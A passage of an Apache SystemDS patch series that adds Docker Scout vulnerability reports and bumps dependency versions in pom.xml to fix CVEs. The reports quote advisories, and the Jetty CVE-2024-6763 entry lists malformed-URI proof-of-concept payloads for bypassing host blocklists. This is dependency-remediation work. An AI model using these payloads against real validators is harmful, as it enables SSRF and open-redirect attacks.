+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.244%
EPSS Percentile47th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/pom.xml b/pom.xml index 608b5df1a00..61ad93d756b 100644 --- a/pom.xml +++ b/pom.xml @@ -109,6 +109,7 @@ 9.37.4 0.27 4.1.124.Final + 4.1.129.Final 9.4.57.v20241219 12.0.12 3.8.14.Final @@ -208,17 +209,17 @@ io.netty netty-codec-http - ${netty.version} + ${netty-codec.version} io.netty netty-codec-smtp - ${netty.version} + ${netty-codec.version} io.netty netty-codec - ${netty.version} + ${netty-codec.version} io.netty From 803b250b12b3f68289ccf96541bdeac420f1cf21 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Thu, 22 Jan 2026 12:33:18 +0100 Subject: [PATCH 13/31] [MINOR][SYSTEMDS-3878] Fix additional medium-severity CVEs in transitive dependencies This patch extends the security fixes for multiple high-severity CVEs by adding version overrides in dependencyManagement for additional vulnerable transitive dependencies. New version properties and dependencyManagement entries added for org.apache.logging.log4j/log4j-core upgraded to version 2.25.3 to solve CVE-2025-68161 --- .../medium-cves/sysds_output13.md | 1080 +++++++++++++++++ pom.xml | 4 +- 2 files changed, 1083 insertions(+), 1 deletion(-) create mode 100644 docker/scout_results/medium-cves/sysds_output13.md diff --git a/docker/scout_results/medium-cves/sysds_output13.md b/docker/scout_results/medium-cves/sysds_output13.md new file mode 100644 index 00000000000..ef22868ff09 --- /dev/null +++ b/docker/scout_results/medium-cves/sysds_output13.md @@ -0,0 +1,1080 @@ + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli + ✓ Image stored for indexing + ✓ Indexed 357 packages + ✓ Provenance obtained from attestation + ✗ Detected 14 vulnerable packages with a total of 33 vulnerabilities + ✓ Report written to docker/scout_results/medium-cves/sysds_output13.md +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:fb15e25f5b4fbc1ebc60f0dc798ef9a180d3f7406fe9f6677e1b920468c74f93
vulnerabilitiescritical: 1 high: 9 medium: 18 low: 4 unspecified: 1
platformlinux/amd64
size370 MB
packages357
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by 